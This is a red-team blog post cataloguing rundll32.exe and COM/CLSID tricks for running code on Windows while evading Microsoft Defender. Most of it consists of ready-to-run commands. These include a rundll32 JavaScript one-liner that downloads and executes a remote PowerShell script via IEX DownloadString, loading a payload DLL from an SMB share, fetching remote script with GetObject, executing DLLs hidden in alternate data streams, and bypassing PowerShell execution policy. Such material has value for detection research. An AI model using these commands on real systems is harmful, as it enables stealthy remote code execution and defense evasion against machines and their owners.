Published
- 7 min read
rundll32AllTheThings
Intro
Last time we looked at the new comma evasion
found by a researcher and published on Twitter. This time, we continue to dive into rundll32.exe
and explore additional functionalities it offers.
As most evasions obfuscations
have a short lifespan, we’re discussing these commands without active Defender
. You’ll need to add obfuscation
/ evasion
separately, albeit most of the following (a good 90%) should run entirely with Defender active
.
Execute function from dll file
You can utilize WinAPI
DLLs such as kernel32.dll
to execute functions. This approach allows for direct interaction with the Windows API, offering a wide range of system-level functionalities.
> rundll32.exe shell32.dll,OpenAs_RunDLL anyfile.txt
Note that it needs an absolute path.
Execute DLL from SMB share
Execute a DLL from a SMB share using rundll32.exe
. This method is particularly useful for network-based payloads.
> rundll32.exe \\10.11.12.13\my\share\payload.dll,EntryPoint
Execute code from Internet
Leverage rundll32.exe
to execute a JavaScript script that, in turn, runs a PowerShell script downloaded from a remote website.
> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://path-to-whatever/');")
Proxy execution
Execute calc.exe
through a JavaScript script using rundll32.exe
.
> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Proxy execution with process termination
Run calc.exe
using a JavaScript script and then terminate the rundll32.exe
process.
> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Execute remote JavaScript
Execute a remote JavaScript script with rundll32.exe
.
> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/network-sec/nonexistendexample")
Execute a DLL/EXE COM server payload or ScriptletURL code
Load a registered or hijacked COM Server payload using rundll32.exe
. This technique also applies to ProgID.
> rundll32.exe -sta {CLSID}
(Note: This is shown by lol-bas without concrete example, I didn’t try further to get it working, just leaving the info here.)
Find CLSID
of the ShellBrowserWindow
COM object
$ Get-ChildItem HKLM:\Software\Classes\CLSID\ | Where-Object { (Get-ItemProperty $_.PSPath).'(Default)' -match 'ShellBrowserWindow' } | ForEach-Object { $_.Name }
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{5da8fe1f-f485-4516-be06-426b0dddf555}
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{c08afd90-f2a1-11d1-8455-00a0c91f3880}
Alternative: Find CLSID
of mshtml
- another way:
$ (Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\htmlfile\CLSID").'(Default)'
Do it in Powershell
Using ShellBrowserWindow
class.
$ [Activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880")).Navigate2("file:///C:/windows/system32/calc.exe")
Have Fun
Giving this one out for free :)
$ Get-ChildItem HKLM:\Software\Classes\CLSID\ | Where-Object { (Get-ItemProperty $_.PSPath).'(Default)' -match 'Script' } | ForEach-Object { write-host (Get-ItemProperty $_.PSPath).'(Default)' $_.Name }
Using IE
$ $clsidIE = "0002DF01-0000-0000-C000-000000000046"
$ $typeIE = [Type]::GetTypeFromCLSID([Guid]$clsidIE)
$ $ie = [Activator]::CreateInstance($typeIE)
$ $ie.Visible = $true
$ $ie.Navigate("http://www.example.com")
Why do we do this?
At this point you may ask: “What’s the point?” - First of all, we found not only one evasion
, but instead many ways to do the same thing: Execute code without Defender
alerting. To be fair, most are already known. Of course, the point of the researcher was to bypass
a pre-existing Defender trigger. Let’s try also to do the exact
same thing. Hold tight for an upcoming article, I can’t promise it will work out, because I haven’t tried it. But:
TL;DR
Why not try this on mshtml
- which is also a COM
object? That’s exactly what we will do next. Call the previous look into CLSIDs
on Powershell
a little sneek peak.
$ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"25336920-03F9-11cf-8FD0-00AA00686F13")) | Get-Member
TypeName: System.__ComObject#{3050f55f-98b5-11cf-bb82-00aa00bdce0b}
Name MemberType Definition
---- ---------- ----------
addEventListener Method void addEventListener (string, IDispatch, bool)
adoptNode Method IHTMLDOMNode3 adoptNode (IHTMLDOMNode)
appendChild Method IHTMLDOMNode appendChild (IHTMLDOMNode)
attachEvent Method bool attachEvent (string, IDispatch)
clear Method void clear ()
[...snip...]
onerror Property Variant onerror () {get} {set}
onerrorupdate Property Variant onerrorupdate () {get} {set}
onfocus Property Variant onfocus () {get} {set}
onfocusin Property Variant onfocusin () {get} {set}
onfocusout Property Variant onfocusout () {get} {set}
onhelp Property Variant onhelp () {get} {set}
oninput Property Variant oninput () {get} {set}
onkeydown Property Variant onkeydown () {get} {set}
onkeypress Property Variant onkeypress () {get} {set}
onkeyup Property Variant onkeyup () {get} {set}
onload Property Variant onload () {get} {set}
onloadeddata Property Variant onloadeddata () {get} {set}
onloadedmetadata Property Variant onloadedmetadata () {get} {set}
onloadstart Property Variant onloadstart () {get} {set}
onmousedown Property Variant onmousedown () {get} {set}
onmousemove Property Variant onmousemove () {get} {set}
onmouseout Property Variant onmouseout () {get} {set}
onmouseover Property Variant onmouseover () {get} {set}
Script Property IDispatch Script () {get}
scripts Property IHTMLElementCollection scripts () {get}
security Property string security () {get}
xmlVersion Property string xmlVersion () {get} {set}
$ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"25336920-03F9-11cf-8FD0-00AA00686F13")).url()
about:blank
Gotcha
After trying a lot, and accidently navigating my firefox, we finally found a way using CLSID
to pop calc
- with Defender
running - using WScript
. As there wasn’t much more than trial and error involved, using the methods I already showed, I won’t write another article about this - at least not today.
$ [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8")).Run("calc.exe")
For the Haters
complaining that targeting WScript
directly isn’t the same as mshtml
$ $htmlDocument =[Activator]::CreateInstance([type]::GetTypeFromCLSID("25336920-03F9-11cf-8FD0-00AA00686F13"))
$ $body = $htmlDocument.createElement("body")
$ $script = $htmlDocument.createElement("script")
$ $script.text = "alert('This is a JavaScript Alert!');"
$ $body.appendChild($script)
$ $clsid = "{25336920-03F9-11cf-8FD0-00AA00686F13}"
$ (Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\CLSID\$clsid\InprocServer32").'(Default)'
C:\Windows\System32\mshtml.dll
As dynamic one-liner
Using CLSID
you can do it remote
in Active Directory
- albeit I haven’t tested it yet for this specific thing.
$ $h=[Activator]::CreateInstance([type]::GetTypeFromCLSID(((Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\htmlfile\CLSID").'(Default)').Substring(1,36)));$b=$h.createElement("body");$s=$h.createElement("script");$s.text="alert('RedTeam');";$b.appendChild($s)
Where to go from here?
Running HTML applications (HTA files) along with ActiveX objects opens up a can of worms, especially when messing with mshtml’s CLSID.
Here’s a skeleton approach to what you might aim for next, given the broad strokes:
- HTA File Setup: Create an HTA file which is essentially HTML with the ability to run ActiveX objects and access the local filesystem, among other things.
- ActiveXObject Creation: Use JavaScript within the HTA to create an instance of mshtml via ActiveXObject with its CLSID.
- HTML Manipulation: Use document.write() or other DOM manipulation methods to interact with your HTML content dynamically.
<script>
try {
var mshtml = new ActiveXObject("Mshtml.CLSID");
// Your code to manipulate the HTML document goes here
document.write("Hello, world!");
} catch (e) {
console.error("Error: " + e.message);
}
</script>
I’ll leave it to my readers and colleagues to continue on this path, if desired.
Remote Control firefox
Found along the way to the one above.
$ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"30590067-98b5-11cf-bb82-00aa00bdce0b")).url = "https://blog.network-sec.de"
Sorry, went a bit astray. Back to rundll32.exe
…
Execute code from alternate data stream
Run a .DLL file stored in an Alternate Data Stream (ADS) using rundll32.exe
.
> rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
Executing Functions from kernel32.dll
Invoke kernel32.dll
functions directly to manipulate memory, process threads, or system information without JavaScript. This capability is crucial for low-level system access.
> rundll32.exe kernel32.dll,SetProcessShutdownParameters
Popping a Window without JavaScript
To initiate a window without relying on JavaScript, rundll32.exe
can be employed alongside shell32.dll
to access and display common Windows dialogues or even custom ones, provided you have the appropriate DLL. A key technique involves the use of ordinal numbers (or “ordinals”), which refer to the position of a function within a DLL’s export table. Instead of calling functions by name, you can invoke them by their ordinal number, which can be a more direct and sometimes faster method of execution.
> rundll32.exe shell32.dll,#61
In this command, #61
is the ordinal number that corresponds to the “Run” dialog within shell32.dll
. Using ordinals can be particularly useful when the function name is not known or when you prefer a slightly obfuscated approach to calling functions within a DLL.
Finding Ordinal Numbers
To find the ordinal numbers of functions within a DLL, tools like dumpbin.exe
(part of Visual Studio) or Dependency Walker can be used. For example, with dumpbin.exe
, you could use the following command in a Visual Studio Command Prompt:
> dumpbin /exports c:\windows\system32\shell32.dll
This command lists all the exported functions of shell32.dll
, along with their ordinal numbers. You can search through this list to find the specific function you’re interested in calling.
Using Ordinal Numbers
When using rundll32.exe
to call a function by its ordinal number, the syntax is straightforward. You simply append ,#
followed by the ordinal number to the DLL name:
> rundll32.exe <DllName>,#<OrdinalNumber>
This method opens up a wide range of possibilities for executing various functions within DLLs without the need for JavaScript, providing a powerful tool for Windows automation and customization tasks.
By leveraging ordinal numbers, you gain an additional layer of flexibility in how you interact with DLLs, enabling you to execute functions directly and efficiently.
Let’s get funny
Why not? See what else we can do…
Access Control Panel
> rundll32.exe shell32.dll,Control_RunDLL access.cpl
Locking the Workstation
> rundll32.exe user32.dll,LockWorkStation
Run cleanmngr
> rundll32.exe cleanmgr.dll,CleanMgr
Control Panel Items
Open specific Control Panel items, like the Internet Options dialog
> rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0
Run powershell script
Another proxy
execution example.
> rundll32.exe shell32.dll,ShellExec_RunDLL powershell.exe -ExecutionPolicy Bypass -File "\temp\rd.ps1"
One more proxy
using a .url
file.
[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe
> rundll32 ieframe.dll, OpenURL c:\temp\test.url